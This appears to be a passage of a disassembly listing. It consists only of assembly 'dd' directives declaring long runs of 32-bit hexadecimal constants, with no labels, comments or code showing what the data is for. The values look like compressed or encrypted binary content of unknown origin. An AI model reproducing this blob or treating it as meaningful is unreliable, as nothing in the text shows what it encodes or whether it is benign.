		dd 0E6692568h, 6E793A11h, 7B204492h, 7A93024Bh,	35D938F5h
		dd 33D71C68h, 0F988FC96h, 0F0BC28B4h, 54348006h, 0A3596705h
		dd 7C629FD2h, 71BC5978h, 98D418E9h, 18427827h, 882255D8h
		dd 0F49C8ADBh, 7A940E95h, 0A280B160h, 4146A356h, 0E05CA06Ch
		dd 5EC45849h, 2623642Fh, 0DABB2802h, 0D6B05477h, 4F76421Eh
		dd 7E660A80h, 721BACF3h, 0B19CACB7h, 0A3C88038h, 0FBB7074Fh
		dd 93A27500h, 0A492AE78h, 82B90C8Ah, 61D89886h,	0F76C121Eh
		dd 1051B0ECh, 5D303F1h,	6E32EE18h, 0A58CB011h, 170298A1h
		dd 34812EB5h, 10830FACh, 435F82Ah, 0AEFF390h, 59F74907h
		dd 8EA2CC85h, 0ACA0999Bh, 2004D518h, 0BF2E92E6h, 54202232h
		dd 12C20CCh, 69A936CBh,	9F132EAh, 4510DCh, 0E7DE825Bh
		dd 90DBD16Fh, 8515BC00h, 913CF6D0h, 43A812BBh, 0F243293h
		dd 0E1B9E0E0h, 0F4F182h, 0C71D74F3h, 782EED19h,	211148B3h
		dd 205C2406h, 0FB2408F0h, 6261D447h, 0EEC8BB30h, 0DAAE1704h
		dd 0C018878Fh, 1D92130Bh, 0A24B5725h, 98E32FCh,	640054F1h
		dd 19DEBFE9h, 0C690037Ch, 283FB472h, 0F0744F8h,	20E4C4A1h
		dd 4A41B8ACh, 9760303Bh, 61401025h, 38EC04A2h, 0CB0F4D76h
		dd 0E33218DCh, 0F0D340E9h, 4FD148B8h, 0EB280907h, 0CD2BD0F9h
		dd 13553E0Ch, 5292DB64h, 831AA4C1h, 57197949h, 99810023h
		dd 8C6F5ECEh, 0D90135B0h, 841185F3h, 0D8ED5C6Eh, 2316A06Dh
		dd 1F84A20Ch, 2325568Bh, 7C4DF308h, 0FC54D5D8h,	3CEC6324h
		dd 98A6EE15h, 0EC009922h, 6F2D4E94h, 1EE3F514h,	0C0705C67h
		dd 7A171B72h, 8A2CC0EFh, 6889B4C6h, 2FE002CAh, 20C0649Ch
		dd 0A225254Dh, 0C4C4C5D9h, 8BEF6028h, 3A550131h, 0D4E4F18Eh
		dd 17C848BDh, 3C382610h, 0CF4AD060h, 0B10052FBh, 3D53EC30h
		dd 72A4A0h, 0CA01052Eh,	59452110h, 6A3B300h, 0B2BB050h
		dd 9CEA00D0h, 0A6325A05h, 3E74D3F7h, 28BD20C7h,	184837D6h
		dd 1843B80Dh, 0CC00E2D7h, 233255D5h, 33ABF48h, 4150F0ABh
		dd 5800D421h, 5E0A3DA6h, 0F59D22Bh, 0CB71ECF1h,	52F8A0C0h
		dd 7230B7B0h, 59062833h, 91AF60BBh, 3C73702Dh, 0B2DB50C0h
		dd 15BFFD8h, 1D3FB732h,	8CE28F96h, 69E30D28h, 601EEA6Dh
		dd 20BBF8A8h, 3A1F034Dh, 5A0D7BA0h, 8CC018B4h, 97A23906h
		dd 0A8C66960h, 2D1C110Dh, 254C3481h, 0CCB208B1h, 73F26021h
		dd 0FF782A0Ah, 0C51C4840h, 16250F20h, 0ED411A13h, 0D3DD11A0h
		dd 43D8B4B8h, 0BC985B51h, 51419D8h, 2008EDB1h, 73D238h
		dd 77FAE283h, 0A09EF1D3h, 75A6168Ch, 503340B5h,	20ED7DE2h
		dd 0D20C6911h, 8622F54h, 6F21C046h, 16863375h, 0C98CB200h
		dd 0DB7A0C4Dh, 0F8A0619Ah, 9FE42C41h, 3C19F779h, 0B8499739h
		dd 0FAA1D2DCh, 0F7621868h, 0CD102158h, 348F4118h, 0ACB259F8h
		dd 318720D0h, 0D0B66F06h, 0CF05993h, 9F60D379h,	2819B7C8h
		dd 0B618502Ch, 0FE279C41h, 0A7B8000h, 7018FF7Fh, 9484EB7h
		dd 6A824C2h, 47003D28h,	7DE42F21h, 0B50073CDh, 9BDBC990h
		dd 2B1D107Ah, 1890A4A6h, 71B60C7Ch, 484490ACh, 33741E6Eh
		dd 79440559h, 47D00486h, 36834453h, 561F6081h, 0B6BD2410h
		dd 0E5BC9D02h, 49381D3Ch, 0DCF9B278h, 66682900h, 0B8C0A8FEh
		dd 0CD9E7A84h, 0DBF430EAh, 6182A620h, 3E5373E0h, 0E0578420h
		dd 0D1569D60h, 9866D730h, 0A4B959ACh, 2B2500B8h, 0D252C2EBh
		dd 8F02EFD5h, 0D92E217Bh, 9774484Ch, 8512037Eh,	0A5C0D4F7h
		dd 6EC03878h, 0BC38B6A3h, 20D0A43Dh, 29E0904Fh,	0A8AB701Bh
		dd 20BAF088h, 50016587h, 23C860B6h, 720C5C31h, 4838B020h
		dd 1E8DB8B2h, 85E253BEh, 455F3D0h, 0D35D3A30h, 28C2F540h
		dd 0E8842CB1h, 0A254B870h, 245E53Ch, 0F7D4A401h, 0E8905808h
		dd 1B41AF64h, 52D6F093h, 76832C50h, 0A6E3E307h,	0E1B58000h
		dd 0BCBB2DF4h, 2B50C3EFh, 88942748h, 0E0417838h, 8C9F0C20h
		dd 110D9D3Dh, 0BE88B92Dh, 0DB56580h, 97F08AFh, 7C0B455h
		dd 419CB027h, 80F20E05h, 74A5E611h, 0CAC6D7Ah, 9485A253h
		dd 21C0EC08h, 0B5749DB3h, 0D6E6044Ch, 81E89908h, 0D8D0FF7Ch
		dd 20F571D8h, 344D7388h, 0B2110694h, 8AB8CE7Ch,	7AA440F4h
		dd 0BEC68853h, 7D871A14h, 32910ACh, 973B4406h, 5CD13162h
		dd 243BDDB4h, 40A49859h, 788EA011h, 11B6AAC1h, 88440CD1h
		dd 33326FF2h, 0A0EE7075h, 80CF90E4h, 0F7BE18A8h, 9ABD2936h
		dd 96D37812h, 20B74042h, 0D51881E9h, 54320CA6h,	5F98091Fh
		dd 0F0EE003Bh, 3DE37432h
		dd 80A4BF4h, 6003542Bh,	224ED3C2h, 3840072Fh, 0C7B0CDE9h
		dd 6147DD39h, 5AF04230h, 1060D411h, 903ADF41h, 0F9482014h
		dd 5FC00D14h, 10FE8FE8h, 7B7482DEh, 0DD31A46Dh,	749EB410h
		dd 0D3B97617h, 0F75C2B1Fh, 980A155h, 2636BD8h, 60107B94h
		dd 8053C79Ch, 0EA4DCB73h, 11B009D8h, 412894FCh,	0E7388467h
		dd 0C4C8EDF1h, 0DB564043h, 3CBBCA2Ch, 22A73201h, 6C3207A5h
		dd 2021BF88h, 0C068ACE7h, 3AAF602Bh, 24E35780h,	8FA4F1F8h
		dd 7FA27645h, 3C484D0Eh, 0E31F1130h, 0C2C1D7A5h, 0C1F3CFF2h
		dd 218063D1h, 7AE30891h, 2C1BFDBCh, 0F1599340h,	94606717h
		dd 46C490B0h, 0DAB029Dh, 31A92D0Ch, 0A36310B9h,	5E6E1C0Dh
		dd 722E0326h, 43E84581h, 9639CF8Fh, 0EAD7848Eh,	0F488D428h
		dd 4BA18D5h, 858010F4h,	9FA41F0Bh, 2474A29Bh, 24070956h
		dd 183118BAh, 710059ECh, 212A4010h, 7B0CF8FCh, 28C7CEDBh
		dd 372B2612h, 594517F4h, 48A17010h, 0D08A768h, 0C4892D10h
		dd 9F6F40BBh, 542F0Dh, 30A06437h, 0EBBC2A0Ah, 1CF54218h
		dd 81532271h, 0B89CE116h, 0C63220B9h, 51AB9710h, 86A35600h
		dd 0BDFB413h, 7DCC280Eh, 45FC90DCh, 7410958Ah, 0E3829CE4h
		dd 3103D7AAh, 0FD8E1068h, 3CF17CE2h, 0A0054612h, 77B704h
		dd 0F6BC7220h, 0AE1876ABh, 0D4080C2Bh, 69CD80DFh, 538EB49h
		dd 0F7A4B078h, 20DD5480h, 669CB927h, 8606C9CBh,	0BD62EB7Bh
		dd 0E93009F8h, 38826F49h, 8C080308h, 0CCCAA08h,	0D396797h
		dd 1B00D4A4h, 0DBD4CB53h, 588F0147h, 0F2101C03h, 0B58601FFh
		dd 0F584C33Fh, 30870C20h, 0C8D1640Eh, 5F00146Fh, 2AED233Eh
		dd 874D4Bh, 0B696C303h,	0AC46A707h, 0B335A906h,	440C49Ch
		dd 0FFA0A57Eh, 0C8688B8Bh, 0A530C0BAh, 0D4012D47h, 0EDC2C719h
		dd 0C980F50Ch, 8B2AC575h, 553A9A68h, 0E8730056h, 0FFD793CAh
		dd 0C3061313h, 0BDB042CFh, 74C108F6h, 0B7482429h, 0D9CF857Ch
		dd 407C89D5h, 2061A3E0h, 0D32E3DC7h, 391AA5EFh,	70108429h
		dd 0F4E30A61h, 448C23D7h, 1009262h, 664CABE3h, 6EF7682Dh
		dd 0F38B58AEh, 38B75820h, 0F4A05DACh, 80E3D36Dh, 132512B1h
		dd 2EA69F1Ah, 9710B440h, 50A047F7h, 8FCA6008h, 52904C02h
		dd 9A39E25h, 0BB5402ECh, 0B2A70050h, 0D34AF5E5h, 0ED7428h
		dd 869087C6h, 0CB3F761Fh, 4F606172h, 0A0E2D738h, 586896CDh
		dd 6D88E922h, 0AE2A25C3h, 6040348Ah, 0FD718F3Dh, 44F7B216h
		dd 20354460h, 447CB01Ch, 21745F84h, 8C125C4Ah, 0F01C4804h
		dd 246DB705h, 0FC2481D0h, 0A7188FDDh, 12887540h, 0DCC8C159h
		dd 3DF0A136h, 220B8517h, 59215EE0h, 31A1AA2Eh, 30343E30h
		dd 2004D4A9h, 6CEAD5B8h, 9898C34Ch, 0A2ED3888h,	73088408h
		dd 0A9E30D60h, 110BD723h, 48D006Ch, 2F55EBE3h, 6A3600F9h
		dd 70649D93h, 81C0B596h, 86EE2DE1h, 0FD090FACh,	0FAAF7703h
		dd 794C2F60h, 0F00D817h, 0A5CCABE6h, 0A041E209h, 5C474878h
		dd 709DE835h, 9779CB19h, 88686049h, 68467E30h, 79126402h
		dd 409011B9h, 0FA042726h, 4E0430AFh, 51C2C0C9h,	74A88100h
		dd 18946D7Dh, 0A0C688EBh, 0FD97400h, 569F15BAh,	2C8105CAh
		dd 22502F48h, 70223460h, 2B9C9097h, 0F32A000Dh,	0E58995C3h
		dd 9D03A876h, 237992B7h, 4348F0C7h, 4348DF61h, 369BD8B6h
		dd 84A5A828h, 36A3E881h, 0DA90250h, 31992D0Ah, 0A16110BFh
		dd 2A4A000Dh, 0D9561826h, 50C2575Fh, 9FAFD08Eh,	826411B0h
		dd 4940F703h, 0BDE83048h, 16F0002Bh, 1984F27h, 0FE00F98Bh
		dd 0B74D9B9Dh, 0A4521BD0h, 28D8F0B8h, 800866ABh, 7859CDC7h
		dd 1B9D3B2h, 551C21F4h,	46BC508Eh, 349884D6h, 1726C44h
		dd 0D964ED2Eh, 579030B0h, 86CF40E8h, 0F83028DEh, 0DF73A139h
		dd 0C3F403A5h, 7957946Eh, 53D0DBC0h, 0A63A2B04h, 0B0809DB4h
		dd 81F18FB3h, 0C5E3F8DCh, 86E81E75h, 0B10964B2h, 87507B20h
		dd 1AC30520h, 901848C2h, 913E7412h, 30A5B50Ch, 72FAAE1Ch
		dd 88345630h, 2CF9AFC7h, 4847CC1h, 0A60D0366h, 0A97BF358h
		dd 78FC673Dh, 0B67F0909h, 1493576Fh, 2621A2BAh,	70849C23h
		dd 440CF903h, 0AA300E02h, 6D238774h, 72DF1184h,	240974F4h
		dd 23054E8h, 253807E0h,	9D748C7Fh, 1295CB07h, 0E9505A85h
		dd 3F1B962Eh, 0FD067017h, 0A1510CE0h, 0E78F1203h, 0E716673h
		dd 7B82EF30h, 39561020h, 0B094369Ch, 0F2FD47D4h, 0D8D17FDh
		dd 94D4F1F8h, 191500E8h, 0A0120B09h, 3BF4F1F9h,	0F7A8CF00h
		dd 266CDC68h, 0BCB20130h, 66D3F3E5h, 18D092A2h,	84C1A094h
		dd 130547A7h, 0F70804C4h, 615C9035h, 1E396F52h,	38970511h
		dd 4928B8Fh, 580B18A0h,	280AA899h, 142490EAh, 2BD4674h
		dd 886F9464h, 10DC8171h, 182120B6h, 0CF22FC32h,	0A3A61613h
		dd 0EC7B388Ch, 79B627A5h, 0F500E896h, 0E25F3372h, 0A27F22h
		dd 0C32B2511h, 4F078E66h, 941F414Ah, 0B525C250h, 145F2C39h
		dd 57679805h, 8B98ECA4h, 42C249C3h, 12FA5CE9h, 0A0A88112h
		dd 41A6B797h, 20420058h, 717A371h, 88620F00h, 0D71CADFAh
		dd 0EB5825EAh, 0A39D2804h, 742F4A38h, 7000BC23h, 99D9CB6Ch
		dd 0C6EA00AAh, 9E072177h, 850F7FFFh, 126717F6h,	782F0088h
		dd 7CC7EEE5h, 0C6E374C4h, 59AC9819h, 53BC6D00h,	7788B472h
		dd 0F5EF0B5Fh, 609831D8h, 0B17CA39h, 413AC63h, 79C37C20h
		dd 90BAFFh, 2DEBBC72h, 0FBAA2AD3h, 0C42430B9h, 0B4E4951Ch
		dd 0BC961C20h, 0CA4C008h, 4889AD98h, 0D3B5D00h,	0DE95AB12h
		dd 0F1150FDBh, 9C1416B7h, 0AFD2310h, 0D83B682Dh, 2FCA094h
		dd 8B9A2136h, 0ECE06005h, 0B0A40B9Fh, 0CCA950D0h, 0EC11881Dh
		dd 0EADCFA80h, 0BB2C108Ah, 69180807h, 4EC30551h, 0B10C0AEEh
		dd 0E3CD8334h, 1958A8DAh, 0D882D208h, 0A71801C8h, 0A5D420F4h
		dd 5EDF6110h, 58C2D504h, 883CA3DEh, 742CACC1h, 0BB00E246h
		dd 9C63C990h, 8A25D3FCh, 0FE5C38B7h, 46CB1F7h, 0A277F2BDh
		dd 62F10154h, 7619A2CBh, 0A4FF8095h, 7C74A781h,	0F467F66Dh
		dd 749FC500h, 181DB1A4h, 19EF0D01h, 8B0AECF8h, 0A0611C48h
		dd 94406411h, 0E6A0A8D6h, 163302AEh, 0E860A763h, 0F1127C52h
		dd 18C87CA6h, 0BE207CB7h, 887C284Ch, 4048280Ch,	0E3146D62h
		dd 8DCCCCBEh, 5C337161h, 8833E0A2h, 9C96EA2Dh, 715281B0h
		dd 0D3413CFFh, 0C9BA31C8h, 9825D573h, 44DC09F6h, 8DCF0064h
		dd 2134F1E0h, 33267953h, 9442B43Bh, 8700AF3h, 0F701B05Fh
		dd 9069F9Ch, 9E9428h, 49A0631Fh, 9D01A9E1h, 0DE4734BBh
		dd 91E999F9h, 60FB6870h, 0DA7871AEh, 41E3579Ch,	623D13A4h
		dd 0D0BB720Ch, 9CE30802h, 51CCE2D7h, 0FF9040E8h, 0E0008CE2h
		dd 187B8FD4h, 51D820BCh, 0C5BB035h, 0B3ACEC7h, 47702002h
		dd 3D201072h, 0D88C0FA6h, 0FD40C075h, 0A2655C8h, 0EF1EBC00h
		dd 3E565907h, 786CE90Dh, 0A95F0E18h, 0CC009FA8h, 89741BFCh
		dd 0F482E0h, 0F14F8777h, 0B68C52C2h, 67603071h,	0E2DBACB8h
		dd 42C9A43h, 1EEB6D86h,	0B61480BBh, 3C989497h, 3C21DED2h
		dd 54723D3Fh, 429B991Fh, 5D0BD157h, 0FA2018D2h,	5EA0B456h
		dd 13004946h, 72C921AEh, 0F34ABAE5h, 63FD880h, 0FC920DBCh
		dd 41A182EBh, 3DB30CE0h, 0AB5A177Ch, 0D341B897h, 4447A9C2h
		dd 72B55912h, 702B1780h, 0C1B8C483h, 3FA4450h, 0D6198885h
		dd 5E1F24DCh, 39B80C94h, 0DA34F7D8h, 80C0A934h,	26EFD53Ah
		dd 4960602Ch, 0A4D8F007h
		dd 57810555h, 3723B881h, 76468410h, 0DD38A362h,	0C0DCEA2Bh
		dd 0C2CC6200h, 0BDEB38D1h, 0C1D0700h, 0E6D8B87Eh, 0DE1288CCh
		dd 4EE704FCh, 0C0FC1120h, 924DD90h, 74A9C2F0h, 0CE8CF484h
		dd 0A1AF00FCh, 0B77C6174h, 0F9A5002Ah, 3ADF408Ah, 0A600E959h
		dd 0F52E107Ah, 2EEBF207h, 119CB51Dh, 0CFE458B4h, 18F4A0DDh
		dd 0C3E052h, 54936448h,	87D5734Ch, 9E59B8B8h, 0DAC87FCh
		dd 0D1A12D12h, 0A4646308h, 2D4260F8h, 418C5301h, 25B937CEh
		dd 111BFC0h, 0BA9D352Bh, 6454C838h, 0B73A4D38h,	0FF8D07A2h
		dd 20ACB22Ch, 3A50216Fh, 15F7AB8Fh, 0E95300ECh,	0F06DD1D0h
		dd 1371005Ah, 0B75540CDh, 22FFE038h, 0D8BD05F4h, 0F4F42FE7h
		dd 41A54FB1h, 0BD2803DCh, 0B6E3EC75h, 3240C349h, 506A2886h
		dd 0F9F11254h, 52E71370h, 34E00A28h, 4FCB6230h,	48858E07h
		dd 40E854A4h, 7C0073D6h, 0ADED2E1Dh, 905F91EFh,	0A17698BCh
		dd 0F4F541BCh, 500AC452h, 0B7FA4060h, 14587226h, 37409E83h
		dd 0A7290005h, 8F902F70h, 845886D5h, 6C9A2824h,	92CDDD02h
		dd 646DB6FFh, 32449898h, 0E060AAF6h, 0C05C6D2Bh, 0A08CBF56h
		dd 852E8A3Dh, 78375749h, 0AC079834h, 2B01883Ch,	942868C5h
		dd 8C4BBCh, 29A40A94h, 267516BFh, 0DD59D0Ah, 0A18380F0h
		dd 0BC61FDBDh, 37F4088Dh, 8BE408h, 0DDF0C7CFh, 116BAA5Fh
		dd 157B8000h, 51E42078h, 811C963Dh, 22E3C3A6h, 0E2B828A3h
		dd 85802058h, 4E0A6CF9h, 0A8AFDCC8h, 0DCC2B58Ah, 3F602D82h
		dd 908C94Dh, 3487B2Ah, 3D8BCAAh, 0C9881530h, 0A2238E2h
		dd 0BCC88C48h, 47038CBCh, 0D9C9606Dh, 40A288B9h, 3E70B923h
		dd 419ECB97h, 702911B4h, 40C721E9h, 782C7964h, 2437732Ch
		dd 4B68B44h, 9FE96BB0h,	0D4B9DA05h, 9C88F880h, 57DB0E0Fh
		dd 540B66Ah, 5D97BD1Dh,	0E9637B07h, 0A43F34C7h,	6005273h
		dd 0DF0990CFh, 87595112h, 889DD40Bh, 9F91B86Dh,	0A9C2878Eh
		dd 473119B6h, 337EF910h, 0C8AF0C0Eh, 8F7F60CEh,	1CF1185h
		dd 0BC200766h, 2A5F9430h, 2AED7C40h, 9123806h, 32CB4823h
		dd 0ADBA7843h, 0EC10FC65h, 0C8452B05h, 2064B171h, 3640C01Ch
		dd 2CEB7E79h, 280F7D3h,	0B4A8A9F2h, 484140CEh, 4675200Fh
		dd 12F00D6h, 0CB2D7AFh,	782095FBh, 0F6A6A7CDh, 9B8D327h
		dd 0BDF4B708h, 85B67100h, 0D118EAD5h, 0ABEF60CFh, 0CCA80A7Bh
		dd 0E6720641h, 8C7143D1h, 8F97718Fh, 0A05C2292h, 100D9E30h
		dd 0E0B12D07h, 10DB666h, 1A5E5D37h, 6CA638E4h, 2064CE24h
		dd 0BCF212F4h, 0ECA45FCBh, 537800D8h, 7FF9F52Ah, 0D3CD023Eh
		dd 6CBED7Ch, 2B0F44E8h,	40A74817h, 0A444045Dh, 0C488D3F7h
		dd 47F43C30h, 0E7C188B0h, 16E6C52Eh, 3761AD09h,	28F4203Fh
		dd 4C090695h, 42BC701Dh, 0A837028Ch, 9ACB7B60h,	0BD0F8C54h
		dd 0E40913E5h, 7148A9CDh, 1F2BD9F8h, 305E2BC8h,	15C93FF7h
		dd 0C6003A18h, 966C8134h, 1ED465B7h, 0C20F1463h, 0DD3CBAD5h
		dd 72034444h, 0F41BF7BCh, 3F401CADh, 696139EBh,	0A9D670h
		dd 585F9C9h, 20B6779Dh,	0DB00C873h, 0AD05659h, 8C4C30B7h
		dd 186A0D8Bh, 1677ED70h, 199BDD3h, 3BDF4184h, 0A7A83090h
		dd 0E0455A4Fh, 0DCF4A62Dh, 4BA2012Eh, 0B2DBC28Ch, 2C6838E0h
		dd 1420A876h, 0D86098A2h, 0B580AA86h, 10EE589Dh, 3058311h
		dd 0E2A9257Ah, 99B3E1F0h, 6FE01984h, 0A2FCE093h, 3E741701h
		dd 40A6CBB8h, 0E0391871h, 78BDA818h, 760635A7h,	60068E33h
		dd 749C19D8h, 47208015h, 30820888h, 0CDF2D3h, 0BC6B8DF9h
		dd 60A4702h, 52ABAEC3h,	0D8F87BB8h, 0F5B040F8h,	3AE57970h
		dd 78B78820h, 0D7C0100Eh, 67437812h, 9EEB7782h,	8C0530E8h
		dd 50A2CE30h, 5222106Fh, 17A48A6h, 0B8745E8Eh, 0CDC305FAh
		dd 0D0620EBCh, 2E144FF7h, 5BB8DFCh, 3D0625D2h, 4838ED20h
		dd 0A5137988h, 8C1D7333h, 0D0A0546Ah, 68122A7Fh, 3004AF03h
		dd 40E93411h, 5CB1EF04h, 8C281EAEh, 10BBAC78h, 0C4259C1Fh
		dd 0A3388858h, 22AF4C76h, 5C0BFF27h, 0FCB7AC04h, 74FC4644h
		dd 0FE3F1704h, 6304BDB3h, 32AF3C35h, 8FB0F48Ch,	83142846h
		dd 8F602B5Dh, 8250B5F4h, 98A2EB7Bh, 0C794E27Ch,	4D60A791h
		dd 0DB0C1841h, 0B0593C4Eh, 0EA9B10h, 0CCE4B337h, 8586A0C0h
		dd 556331Ah, 28BC84ECh,	0A55CF058h, 0C16EC8C2h,	0DE1C5E5Ah
		dd 6E361B00h, 6B78388Ah, 2FFF4BE4h, 0BD2338h, 170CA56Fh
		dd 7B16F21Eh, 0C84232D3h, 0C4C0A714h, 0BAD73650h, 8227D8A8h
		dd 50E4E86Dh, 48220BACh, 64445963h, 136D9D44h, 24C852C3h
		dd 825C84CCh, 0F84105CCh, 86899360h, 0A1963006h, 0C0977D28h
		dd 6787C019h, 731ED230h, 0B4C06140h, 5B121CCDh,	0EF5F00FBh
		dd 0D92F6FB8h, 3A4A53F6h, 0BCB34004h, 0F73B2C41h, 40406CB9h
		dd 0F5970A8h, 0E2D50604h, 1D0E5B8h, 3EC69085h, 6325C207h
		dd 3046A24Ch, 0C800430Bh, 98530A02h, 4E4010C2h,	0D384929h
		dd 0AC008052h, 93177123h, 7899EB9Eh, 0AFD200CBh, 510C76F8h
		dd 0BD7FB1DEh, 67409001h, 371455EFh, 0CD0A1473h, 8028A173h
		dd 442BCC6Ch, 0F9384DC8h, 91FF8063h, 0BDF6CE2Ah, 6D7D0B3Ah
		dd 24028E2Ch, 0FC51A59Ch, 0D6E6F00h, 3D4CD534h,	850101B1h
		dd 313BFA58h, 0BA86894h, 83ACCDA5h, 54CD484h, 3D15739h
		dd 2424913Bh, 0CEF703AFh, 5E7E0E21h, 0B438695h,	0DAB0C38Bh
		dd 11FDF768h, 0D4392A41h, 75C93C7Bh, 3C34B901h,	94B473EFh
		dd 0C780951h, 3004DE2Eh, 10C304A2h, 5A92A74h, 8C200E71h
		dd 2C092EABh, 897C439Ch, 58A9E7CDh, 42EE8003h, 826D1821h
		dd 0D46530Bh, 372F6CE0h, 6CE32Dh, 0EB6D85CCh, 0A0544C2Eh
		dd 0B2CA68Ah, 88AEFAE3h, 0C7840016h, 0F8B01B68h, 8F5CA097h
		dd 0FEDAADC5h, 0DB7A0835h, 1103A1D2h, 4430782h,	293D50B1h
		dd 924CA0ACh, 1952D735h, 0CA908800h, 5FA58133h,	0E8E840C7h
		dd 0F7A31FA1h, 0A8CF30C7h, 83734B10h, 0C66F3920h, 0D8D024h
		dd 0A90D0C2Fh, 1900A663h, 9E8DACCFh, 7211019Bh,	54B213FBh
		dd 1028F3F8h, 99E7782h,	0C78E1B5h, 5D6FC20h, 92E37A9Dh
		dd 0D2B8D8C4h, 4BB1AA46h, 0E3DD0934h, 0E442CF08h, 2E2038E4h
		dd 884FE046h, 23006A44h, 4F588E47h, 0BE974E52h,	13BA8088h
		dd 7B23CDCAh, 545BB109h, 845A0Eh, 0B881201Ch, 5E729A51h
		dd 18B62839h, 0ACE85880h, 0CEF0DD5h, 49304FCBh,	683AEC68h
		dd 0E44A515Eh, 7E0406h,	73921DF3h, 799C121Fh, 0ADC61900h
		dd 8317117Ah, 0C0E507Bh, 7CB63BA6h, 730D85BEh, 0F008C65Bh
		dd 841DE682h, 72008117h, 799A8A20h, 988D0028h, 97834F71h
		dd 13071274h, 0C62084E5h, 24C561DCh, 3C3C1D79h,	93C8240Fh
		dd 0E6871A0Eh, 9885F0A4h, 1D004F75h, 0AC598396h, 0A3B56F9h
		dd 5030E6C6h, 96CE0604h, 827C607Eh, 0A471F501h,	0E6635C9Ch
		dd 7819D1BEh, 0D0818016h, 0A0DB9288h, 2AA1A618h, 0F082680h
		dd 841F779Ah, 0B51D6F87h, 80381BCDh, 12A28809h,	20650314h
		dd 6B880088h, 357DD1C6h, 7800B3A9h, 979B8312h, 0CE6C5F9h
		dd 92C1504Bh, 8E006340h, 0B78B1473h, 3C603A3h, 825330C9h
		dd 0D0875BFCh, 67F66D96h, 8F59E1CEh, 0A0787833h, 9217041Dh
		dd 32720299h, 88B10074h, 0BC1F1216h, 83234F9Ah,	23777E61h
		dd 4FA4A190h, 7604288Eh, 3C38D1CCh, 0D809D4D4h,	0BCE44E6Bh
		dd 0B05C820h, 0DA477029h, 6324B859h, 78A0412Dh,	1FD0DC74h
		dd 0F0BC30B0h, 0D7D37918h
		dd 14885F5Bh, 156144BEh, 849098BAh, 60243E51h, 58225C88h
		dd 556F2E5Bh, 0BF4D42D0h, 90766CE1h, 0A593E158h, 17609428h
		dd 0D0B00C50h, 160789CBh, 0F2CC0EE3h, 64422DECh, 0D6BEFCFCh
		dd 60E02659h, 28484122h, 127C40A7h, 0D084C209h,	61B870C8h
		dd 3B5188A6h, 8C592F2Ch, 0D1A55160h, 59666406h,	9430B113h
		dd 0E194D410h, 110B6912h, 0E5A8BAE8h, 0AC331187h, 5B1087E7h
		dd 0E80C18A9h, 530D01EDh, 73735034h, 78AD6BCBh,	0E320E878h
		dd 7CD890AFh, 28F48ABCh, 698030C1h, 0A70E8500h,	97098CB6h
		dd 297CA2B6h, 0C8EC6260h, 0C051FDCCh, 20E36F28h, 3012B745h
		dd 0ECF43190h, 40CF5412h, 0CAD588A3h, 2381807Dh, 0ABC9CC8h
		dd 0DDD36DA2h, 38BD8AACh, 0FF0D8B24h, 24854489h, 2B9847DFh
		dd 8878D968h, 7174CD17h, 3320A081h, 0EB85B057h,	0E2B54000h
		dd 4834D59Ch, 44D1042Dh, 0E544AC88h, 0B3A1DC54h, 0C18454A8h
		dd 1037079Ch, 0AA8D2241h, 754882BCh, 46D0235Fh,	0E5189164h
		dd 0ED192E32h, 45863E0Ch, 591C42DDh, 48260131h,	0FBC1EA08h
		dd 5B205C28h, 73CD3EB0h, 0A909C12h, 412037A4h, 2255D0D8h
		dd 2C9C503Ch, 4F8407F1h, 7BC534A8h, 0FEC48C0Fh,	0CD364900h
		dd 4586F3E5h, 0D590015Ch, 0D6F77B7Ch, 0DC206E34h, 30EDCF2Ch
		dd 0B738AB4Ah, 9CB2566Eh, 64D0F74Bh, 25F948h, 7CB2E5Dh
		dd 0B25269C5h, 0A1BC7203h, 737F8CCh, 0BFAC4D29h, 91F49067h
		dd 0A93917CAh, 253B7E0Bh, 0EBC08545h, 2CA9F79Ch, 1A92A300h
		dd 74A21956h, 83B85C0Eh, 0ADAB0285h, 0FD38406Bh, 8B100173h
		dd 40956C14h, 437E22h, 0BADCDF7h, 0B6851049h, 69944200h
		dd 98D2C153h, 0DC90E012h, 48287B80h, 7800C96h, 753C17D1h
		dd 61EEE404h, 0FEBC9F36h, 32F97300h, 0AF09749Eh, 7306403Ah
		dd 6F2125h, 0E14A44A0h,	667E07DDh, 0B0E59701h, 2559F40h
		dd 0AF5BA200h, 0E7B6617Dh, 0D304002Dh, 9F3AE5D8h, 0BD00E880h
		dd 36471CD2h, 185CC3A9h, 489E6FA8h, 0EC41D1D8h,	0C08C6CECh
		dd 32B3EACCh, 33001EB6h, 0E57CC2A9h, 30F44E87h,	4020576Eh
		dd 75E0EB1Bh, 8420E753h, 3D6020E5h, 230047A7h, 0DCBD1604h
		dd 19BE4E37h, 9949E8D2h, 0D3A0F141h, 8078D83Dh,	593E2B6h
		dd 0F89F3E07h, 99BF000Ah, 0F0B4DC4Eh, 0EE15E985h, 1684CF97h
		dd 0B400F7A3h, 0AB9BF55Ch, 9CA53A44h, 8D21E030h, 510004FFh
		dd 89F6BD3Eh, 0F83C210Ah, 8A6B18D2h, 0A35778ADh, 0E35F81C0h
		dd 0EEDBC7h, 278841A9h,	0D1DAB94Fh, 1E69F0Ch, 0E8852990h
		dd 0AB5730F9h, 0EE62BF11h, 5836E801h, 901E3D45h, 21B80898h
		dd 0EE30AA68h, 442908D1h, 3F20E321h, 0DBD907A1h, 0B156D5DAh
		dd 0C02B252Eh, 39C0BB58h, 20C80907h, 0D3CF0178h, 553C422Dh
		dd 82A3F4E3h, 83592500h, 6298B596h, 9FD605BEh, 13D81AAh
		dd 70A0B09Ch, 3AC76F0Eh, 6BBFE570h, 0C0A8E8AFh,	0E787921h
		dd 1F00C2BAh, 90DBFD6Fh, 8040E9C9h, 0CA6FB70Ch,	25660189h
		dd 1180A257h, 91757C55h, 1F03E2EBh, 0AD7D5859h,	85CCB981h
		dd 30FF9052h, 0E611EEACh, 0B288A836h, 0EE945E80h, 9D7262h
		dd 31438A4Ah, 79811557h, 256A6600h, 7D4006FDh, 0A1EC63FBh
		dd 75B0E690h, 0CB1FED68h, 8F12FCFh, 20874136h, 0D0ECEE6Eh
		dd 0D594D354h, 0A1034C01h, 0B658274Ah, 92EF7980h, 0CFBA7EB5h
		dd 89F39800h, 591A8844h, 0B9051461h, 3C9480AAh,	0F801EF23h
		dd 0FD5C8704h, 0A0A9B618h, 9405C084h, 86DB1E00h, 0B7D42B70h
		dd 804A29A0h, 925180A4h, 0C59BF1BFh, 47960B1Dh,	2C9C8F01h
		dd 0E842EC10h, 0E873093h, 6BB6F808h, 40AC64AFh,	4B0E6F80h
		dd 9CE612DBh, 985C00B1h, 0D2DF3D1Dh, 60026C24h,	453D38A8h
